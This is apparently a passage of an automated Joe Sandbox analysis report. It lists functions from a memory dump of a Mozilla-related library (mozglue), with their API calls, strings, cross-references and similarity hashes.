Sleep.KERNEL32(000007D0), ref: 6C564EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C564F2E
moz_xmalloc.MOZGLUE ref: 6C564F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C564F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5652B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5652E6
Sleep.KERNEL32(00000010), ref: 6C565481
free.MOZGLUE(?), ref: 6C565498

Strings

(, xrefs: 6C565250

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 3046ce39170ca8b99da1f74ad59ed0e49ae04f9b904b4c2a7893e052769b4c02
Instruction ID: 1f517b0fbd09e710e0f7df0e6ae6f5aa5b5ff3a272268348e14b65ffcd6af39a
Opcode Fuzzy Hash: 3046ce39170ca8b99da1f74ad59ed0e49ae04f9b904b4c2a7893e052769b4c02
Instruction Fuzzy Hash: 0FF1D271A19B508FC716CF39CC5062BB7F5AFD6384F068B2EF846A7651DB3198428B81

Function 6C567030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C567046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C567060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C56707E

Part of subcall function 6C5181B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5181DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C567096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C56709C
LocalFree.KERNEL32(?), ref: 6C5670AA

Strings

(null), xrefs: 6C56706A, 6C567083
### ERROR: %s: %s, xrefs: 6C567087

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 6c109691c39e93fa7c75528756190501afd44dd878a4d0f657e5c76b5075d7ab
Instruction ID: 9e12c890627abadfe83e2fe8ffcc2075b56f271b39e1616c42197534f718987e
Opcode Fuzzy Hash: 6c109691c39e93fa7c75528756190501afd44dd878a4d0f657e5c76b5075d7ab
Instruction Fuzzy Hash: 7301B9B2A01124AFDB00AB64DC4ADAF7BBCEF4A214F020425FA05A7241E67169148BA5

Function 6C529E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C529EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C529F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C529F34
LeaveCriticalSection.KERNEL32(?), ref: 6C52A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C52A8B1, 6C52A8D4, 6C52A8EF

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 43f5b708efb6d85609a027b0ac10e5b498fb63e397ac479dd72252e8f1341998
Instruction ID: 527453a94b620ff6d8dd813023f89b368a15860866e6ce604f0567ff939a55b8
Opcode Fuzzy Hash: 43f5b708efb6d85609a027b0ac10e5b498fb63e397ac479dd72252e8f1341998
Instruction Fuzzy Hash: 57725A72A056118FD718CF29C940615FBE1FF89728F29C66DE8699B7D1D339E842CB80

Function 6C552C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C552C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C552C61

Part of subcall function 6C504DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
Part of subcall function 6C504DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C552C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C552E2D

Part of subcall function 6C5181B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5181DE

Strings

expected a Time entry, xrefs: 6C552E36
ProfileBuffer parse error: %s, xrefs: 6C552E3B
(root), xrefs: 6C55354F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 9392f4f9f34d4f75b8e555835e4ba807abc7b48d78e5c01ed5a0868e4b6ad4a8
Instruction ID: 6e828c2c5b46a4a08f0668bcf4c1d9333a307715a92198973286741590d77716
Opcode Fuzzy Hash: 9392f4f9f34d4f75b8e555835e4ba807abc7b48d78e5c01ed5a0868e4b6ad4a8
Instruction Fuzzy Hash: D791BF70608740CFC724CF24CC946AEB7E1AFC9358F904A1EE59A9B751EB30D959CB52

Function 6C569E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C569F3D
__aulldiv.LIBCMT ref: 6C569F77
__aullrem.LIBCMT ref: 6C569F8C
__aulldiv.LIBCMT ref: 6C56A023

Strings

-Infinity, xrefs: 6C569E60, 6C569E7B
NaN, xrefs: 6C569EAB

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 80e7018443537a211498480433aa08ea46bd9f717fe2976358e45d8a70a4e1e3
Instruction ID: 39199082542ed42a033126b624ca0988d42b00a7b68513969c73daf4fbabf0ab
Opcode Fuzzy Hash: 80e7018443537a211498480433aa08ea46bd9f717fe2976358e45d8a70a4e1e3
Instruction Fuzzy Hash: D5C1A071E04329CBDB14CFAACC507AEB7B6FB88314F544529D405ABB90DB70AD49CB91

Function 6C50D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C50DE7F
8, xrefs: 6C50DC08
1, xrefs: 6C50DBDD
-, xrefs: 6C50D7DD
, xrefs: 6C50DA88
0, xrefs: 6C50DC7F
@, xrefs: 6C50DAF6
0, xrefs: 6C50D852

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 98433242985ec0374434b8a2cbb0b80cbddc14e41831a2b04146fb26ee35c318
Instruction ID: bbc5bdba55800c88c86c49d85395113f44387da0f38efada88234845632eec6a
Opcode Fuzzy Hash: 98433242985ec0374434b8a2cbb0b80cbddc14e41831a2b04146fb26ee35c318
Instruction Fuzzy Hash: 3B62AD7170C7458FD711CE18C89076ABBF2BF86358F184A1DE8E5CBA92D3359985CB82

Function 6C57545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C578A4B

Strings

~qPl, xrefs: 6C5756C7, 6C57921F, 6C579459, 6C575703, 6C575740, 6C579269, 6C57948F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memset
String ID: ~qPl
API String ID: 2221118986-19430131
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 03db98340b7a63ded3821e48e3f9f6a2f61e1f1c45d6b0ce08be06630426989a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F2B1C872E0021ACFDB24CF68CC91799B7B2EF95314F1402A9C549EB791E730A9D5CBA1

Function 6C57542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5788F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C57925C

Strings

~qPl, xrefs: 6C5756C7, 6C57921F, 6C579459, 6C575703, 6C575740, 6C579269, 6C57948F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memset
String ID: ~qPl
API String ID: 2221118986-19430131
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: f7ece21508e648e34471366e46ceaa90ce1a6f62bef7da222271ae79d4a46ca1
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F6B1B572E0121ACBDB24CF58CC816E9B7B2AF85314F150269C549EB785E730A9D9CBA1

Function 6C56C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C56C0E9), ref: 6C56C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C56C437
FreeLibrary.KERNEL32(?,6C56C0E9), ref: 6C56C44C

Strings

ntdll.dll, xrefs: 6C56C413
NtQueryVirtualMemory, xrefs: 6C56C431

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 961915812e923ff678029bb071ebd3b8d94ca413db83bd5b4cf63275e26bb2cf
Instruction ID: 0480830e7123691330e816b019a5cc6b8de0facf1d204ce30e1506db8d21f38e
Opcode Fuzzy Hash: 961915812e923ff678029bb071ebd3b8d94ca413db83bd5b4cf63275e26bb2cf
Instruction Fuzzy Hash: E0E092706033219BEF00BB72CD187127AFCA70B206F826616EA04A1A10EBB0D014CE68

Function 6C519F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6C51A824
' , xrefs: 6C51A3D8
@, xrefs: 6C51A625
0, xrefs: 6C51AB22
0, xrefs: 6C51A100
9, xrefs: 6C51A5D6

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 45eeabcd406add357efa431d1ec33045c91b6cbc660e7c94a6e3da11554fa40a
Instruction ID: c1bf3804ce18d6c36cb603a7fc03fcfcb0e1727b675971ffd6eecf1337a577b8
Opcode Fuzzy Hash: 45eeabcd406add357efa431d1ec33045c91b6cbc660e7c94a6e3da11554fa40a
Instruction Fuzzy Hash: F282C17590D3519FF713CE19C88836EB7E2EB85718F558A2AE8D547E80D334988DCB82

Function 6C50BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C50C1CB
__aulldiv.LIBCMT ref: 6C50C24C
__aulldiv.LIBCMT ref: 6C50C348
__aullrem.LIBCMT ref: 6C50C365
__aulldiv.LIBCMT ref: 6C50C37D

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 5728a33749812623d3353b0941e64524c0ffc70c9558158fe1023ba237354747
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 2D320632B146158FC718DE2CC89065ABBE6AFCA310F09876DE899CB395D734ED05CB91

Function 6C5577A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C557A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C557A93

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C557AA1

Part of subcall function 6C525C50: __aulldiv.LIBCMT ref: 6C525DB4
Part of subcall function 6C525C50: LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C557B31

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: bc034080b5cc60c201a05862bb120f7f93fdbd41d637a093ae7320f3e4e0df2e
Instruction ID: 7aab205e12c27af047db03d3d2a6dab5d6319cd8ac6ea23ee36dd07de5b9cf4c
Opcode Fuzzy Hash: bc034080b5cc60c201a05862bb120f7f93fdbd41d637a093ae7320f3e4e0df2e
Instruction Fuzzy Hash: 3DB1EF356183808BCB14CF24C84065FB7E2BFC5358F958A1EE99567B91DB30ED1ACB82

Function 6C528850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C5297EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C529813, 6C52985D, 6C529878, 6C529CEB

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: ada3dc21cf7f60b46a4df372c9797c9764170355a361fc39470fb4a3526d6e61
Instruction ID: b3ccfe37a5294e83f6721066d46bbd57f63dd164e8ad647ef2e2a9e7ba17a6f5
Opcode Fuzzy Hash: ada3dc21cf7f60b46a4df372c9797c9764170355a361fc39470fb4a3526d6e61
Instruction Fuzzy Hash: 7BD28A72A056018FC718CF18C990615BBE1FF85324F29C76DE86A8BBE5D739E841CB81

Function 6C546CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C546D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C546E1E

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 99f6d8d35dfa50847958e03511557b55cc924af9b991fb95929e35394ce611b4
Instruction ID: d6ab749321ca01f983f44cdb1c9f3d9cdff0b290116c36e5c38fe9d8fe903b90
Opcode Fuzzy Hash: 99f6d8d35dfa50847958e03511557b55cc924af9b991fb95929e35394ce611b4
Instruction Fuzzy Hash: A1A17F74618380DFC715CF24C880BAEBBE1BFC9308F45895EE48A87751DB70A959CB92

Function 6C56B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C56B720
RtlNtStatusToDosError.NTDLL ref: 6C56B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C53FE3F,00000000,00000000,?,?,00000000,?,6C53FE3F), ref: 6C56B760

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: c3329a1808d3a97e121c6c3d2dd9875307408df328cb0e5b243266c3793ff5ac
Instruction ID: 39f9ddc71044f7317a53a90a87854496b6ded76cc9cad698c50bb5840f37dc37
Opcode Fuzzy Hash: c3329a1808d3a97e121c6c3d2dd9875307408df328cb0e5b243266c3793ff5ac
Instruction Fuzzy Hash: 27F0C8B090020CEEDF11AAA2CC84BDFB7BC9B44319F105239E511659C0D774A9CCD661

Function 6C524640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C524777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C525585, 6C5255A8, 6C5255C3, 6C525624

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4554d1c8110306e8169e5e3296eca1b0e06a14189709b2d8fb81d29416244f01
Instruction ID: 561da7abda01b5d5db156c8ef678b1fc371dca8ca47e1a1ffba1700213a75b29
Opcode Fuzzy Hash: 4554d1c8110306e8169e5e3296eca1b0e06a14189709b2d8fb81d29416244f01
Instruction Fuzzy Hash: 17B27C71A156018FD708CF28C990715BBE2BFC5328B29C76DE46A8B7E9D775E841CB80

Function 6C5685F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C568C7C
__aulldiv.LIBCMT ref: 6C568DD7

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: cdff214e3b775dff5799c585301899336bdfd64dbc069c74b1ee322daa193718
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 92327571F011198BDF18CE9DC8A17AEF7B2FB89300F15853AD506BBBA0DA345D458B92

Function 6C5776E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qPl, xrefs: 6C577796, 6C5779C0, 6C577E0B, 6C57793C, 6C5779FB, 6C577B0B

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID: ~qPl
API String ID: 0-19430131
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: ad25f41f23b4763d4b465fff0cca48a4d435afd033888d46249cf68383cc3c11
